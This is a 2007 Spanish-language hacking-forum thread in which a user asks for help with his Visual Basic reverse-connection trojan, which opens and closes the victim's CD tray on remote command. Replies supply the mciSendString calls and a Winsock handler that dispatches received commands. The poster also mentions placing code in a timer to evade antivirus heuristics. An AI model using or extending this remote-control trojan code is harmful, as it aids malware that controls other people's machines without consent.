Alguien sabe?

Iniciado por astaroth_15, 1 Noviembre 2007, 00:49 AM

0 Miembros y 1 Visitante están viendo este tema.

astaroth_15

Buenas de nuevo, tengo una duda que no se como aclarar, pero seguro que es lo más facil que nada :huh:


Bueno al grano..

Mi troyano va por conexión inversa, y quiero que abra el cd-rom, bien hasta hay vamos ok


Lo raro esque me abre el cdrom, pero despues para cerrarlo no me hace caso y me suelta un error...

El codigo es este haber si ustedes pueden ayudarme:

en un timer tengo puesto esto, por que si no me salta la heuristica:

----------------------------------
    Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
-----------------------------------
y aqui en:

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim opencd As String
ws.GetData opencd
opencd = Command8_Click
error:
End Sub
-----------

Y en el cliente en un boton tengo puesto:

Ws.SendData "opencd"------------


Pero no me hace caso.. alguien me puede echar una mano de como puedo hacer que me abra y cierre con 2 botones? si es 1 mejor  :P


Codigo cd-rom:

[color=red]Para abrir es:[/color]
   Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
[color=red]Para cerrar es:[/color]
   Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)



Gracias eh! espero respuesta saludos a todos!  :rolleyes:



Tienes Menos Cabeza Que Un Muñeco De Nieves

Freeze.

Te hice este code ;)


Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Sub Form_Load()
AbrirCD
CerrarCD
End Sub
Private Sub AbrirCD()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End Sub
Private Sub CerrarCD()
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
End Sub


Test 100% Funciona:
Windows Xp Sp2

astaroth_15

No si eso ya lo se si lo pongo en un command y si me abre pero el problema esque si le doy desde el cliente que no me hace caso, abre pero despues no cierra, creo que hace caso de todo lo que hay en Data Arrive entiendes? no se como separarlo..


Gracias por el code, pero no es exactamente compi :-*
Tienes Menos Cabeza Que Un Muñeco De Nieves

Yekka

#3
 
Cita de: ►Freeze
CitarTe hice este code

   No hace mucho se posteo:
   http://foro.elhacker.net/index.php/topic,185985.0.html

HaDeS, -

#4
A ver, podría ser algo como esto, igual no entendi muy bien lo que queres hacer:
Código (vb) [Seleccionar]

'este es el server que manda los datos
private sub command1_click()
Ws.senddata "opencd" 'Para abrir cd
Ws.senddata "closecd" 'para cerrar cd
end sub


y en el cliente:
Código (vb) [Seleccionar]

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
dim dato$ 'dato a string, es igual
Ws.getdata dato
if lcase$(dato) = "opencd" then
mciSendString "Set CDAudio Door Open", ReturnString, 127, 0
elseif lcase$(dato) = "closecd" then
mciSendString "Set CDAudio Door Closed", ReturnString, 127, 0
else
'más opciones ...
end if
end sub


Bueno, saludos :)

Editado: Man, qué hace este code?
Citar
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim opencd As String
ws.GetData opencd
opencd = Command8_Click
error:
End Sub
Porque miro que le das un valor a opencd con el getdata y luego le vuelves a dar un valor con el command8_click xD